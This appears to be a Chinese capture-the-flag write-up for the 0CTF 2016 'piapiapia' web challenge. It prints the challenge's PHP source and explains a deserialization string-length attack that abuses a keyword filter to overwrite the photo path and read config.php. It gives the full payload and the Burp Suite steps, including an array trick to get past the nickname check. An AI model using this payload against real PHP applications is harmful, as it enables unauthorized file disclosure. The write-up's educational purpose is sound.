[0CTF 2016]piapiapia

Posted 育良书记

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[0CTF 2016]piapiapia相关的知识,希望对你有一定的参考价值。

使用burpsuite进行目录扫描,发现网站备份文件

 

 

 index.php

 1 <?php
 2     require_once(\'class.php\');
 3     if($_SESSION[\'username\']) {
 4         header(\'Location: profile.php\');
 5         exit;
 6     }
 7     if($_POST[\'username\'] && $_POST[\'password\']) {
 8         $username = $_POST[\'username\'];
 9         $password = $_POST[\'password\'];
10 
11         if(strlen($username) < 3 or strlen($username) > 16) 
12             die(\'Invalid user name\');
13 
14         if(strlen($password) < 3 or strlen($password) > 16) 
15             die(\'Invalid password\');
16 
17         if($user->login($username, $password)) {
18             $_SESSION[\'username\'] = $username;
19             header(\'Location: profile.php\');
20             exit;    
21         }
22         else {
23             die(\'Invalid user name or password\');
24         }
25     }
26     else {
27 ?>

代码第17行到20行,用户登陆成功后跳转到profile.php

profile.php

 1 <?php
 2     require_once(\'class.php\');
 3     if($_SESSION[\'username\'] == null) {
 4         die(\'Login First\');    
 5     }
 6     $username = $_SESSION[\'username\'];
 7     $profile=$user->show_profile($username);
 8     if($profile  == null) {
 9         header(\'Location: update.php\');
10     }
11     else {
12         $profile = unserialize($profile);
13         $phone = $profile[\'phone\'];
14         $email = $profile[\'email\'];
15         $nickname = $profile[\'nickname\'];
16         $photo = base64_encode(file_get_contents($profile[\'photo\']));
17 ?>

代码第12行可能存在反序列化漏洞,代码第16行可以通过file_get_contents函数读取文件内容

我们可以跟踪一下$profile,发现它是show_profile()返回值,show_profile()位于class.php

class.php

1 public function show_profile($username) {
2     $username = parent::filter($username);
3     $where = "username = \'$username\'";
4     $object = parent::select($this->table, $where);
5     return $object->profile;
6 }

从代码第2行可以看到$username经过了filter()过滤, 跟踪一下filter()

1 public function filter($string) {
2     $escape = array(\'\\\'\', \'\\\\\\\\\');
3     $escape = \'/\' . implode(\'|\', $escape) . \'/\';
4     $string = preg_replace($escape, \'_\', $string);
5     $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
6     $safe = \'/\' . implode(\'|\', $safe) . \'/i\';
7     return preg_replace($safe, \'hacker\', $string);
8 }

filter()会将\'select\', \'insert\', \'update\', \'delete\', \'where\'关键字替换为\'hacker\',然后返回

update.php

 1 <?php
 2     require_once(\'class.php\');
 3     if($_SESSION[\'username\'] == null) {
 4         die(\'Login First\');    
 5     }
 6     if($_POST[\'phone\'] && $_POST[\'email\'] && $_POST[\'nickname\'] && $_FILES[\'photo\']) {
 7 
 8         $username = $_SESSION[\'username\'];
 9         if(!preg_match(\'/^\\d{11}$/\', $_POST[\'phone\']))
10             die(\'Invalid phone\');
11 
12         if(!preg_match(\'/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\\.[_a-zA-Z0-9]{1,10}$/\', $_POST[\'email\']))
13             die(\'Invalid email\');
14         
15         if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
16             die(\'Invalid nickname\');
17 
18         $file = $_FILES[\'photo\'];
19         if($file[\'size\'] < 5 or $file[\'size\'] > 1000000)
20             die(\'Photo size error\');
21 
22         move_uploaded_file($file[\'tmp_name\'], \'upload/\' . md5($file[\'name\']));
23         $profile[\'phone\'] = $_POST[\'phone\'];
24         $profile[\'email\'] = $_POST[\'email\'];
25         $profile[\'nickname\'] = $_POST[\'nickname\'];
26         $profile[\'photo\'] = \'upload/\' . md5($file[\'name\']);
27 
28         $user->update_profile($username, serialize($profile));
29         echo \'Update Profile Success!<a href="profile.php">Your Profile</a>\';
30     }
31     else {
32 ?>

代码第15-16行

1 if(preg_match(\'/[^a-zA-Z0-9_]/\', $_POST[\'nickname\']) || strlen($_POST[\'nickname\']) > 10)
2     die(\'Invalid nickname\');

这段代码可以通过将nickname变量赋值为数组便可以绕过,也就是这样nikename[]=

代码第23-28行将用户注册的信息序列化后保存到数据库中

config.php

<?php
    $config[\'hostname\'] = \'127.0.0.1\';
    $config[\'username\'] = \'root\';
    $config[\'password\'] = \'\';
    $config[\'database\'] = \'\';
    $flag = \'\';
?>

可以看见$flag在当期php文件中,那么目的就很明确了,我们需要获取config.php文件内容

综上所诉,我们可以利用update.php序列化那段代码,也就是将s:10:"config.php";}添加到序列化结果后面,反序列化时就能通过profile.php中file_get_content()来获取config.php的文件内容

update.php中$nickname可以成为利用点,$nickname后面需要序列化的内容为

;}s:5:"photo";s:10:"config.php";}

长度为34,所以需要想办法挤出34位长度,这时候就想到了class.php中的过滤代码

public function filter($string) {
    $escape = array(\'\\\'\', \'\\\\\\\\\');
    $escape = \'/\' . implode(\'|\', $escape) . \'/\';
    $string = preg_replace($escape, \'_\', $string);
    $safe = array(\'select\', \'insert\', \'update\', \'delete\', \'where\');
    $safe = \'/\' . implode(\'|\', $safe) . \'/i\';
    return preg_replace($safe, \'hacker\', $string);
}

每次过滤where关键字的时候就会将字符串的长度添加1位,所以我们需要在$nickname中输入34个where,然后将;}s:5:"photo";s:10:"config.php";}添加到关键字后面,反序列化是通过file_get_contents()便可以读取到config.php文件中的内容

payLoad:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

总结步骤:

1.注册一个用户

2.登陆用户

3.进入update.php使用burpsuite抓包,修改$nickename为nickename[]和$nickename的值

使用burpsuite抓包

 

 点击进入到profile.php

 

 查看源代码,其中的base64编码为config.php的内容

 

 

 

 

 

 

以上是关于[0CTF 2016]piapiapia的主要内容,如果未能解决你的问题,请参考以下文章

BUU-WEB-[0CTF 2016]piapiapia

[0CTF 2016]piapiapia

[0CTF 2016]piapiapia

# [0CTF 2016]piapiapia解题详细思路及复现

[0CTF 2016]piapiapia

[0CTF 2016]piapiapia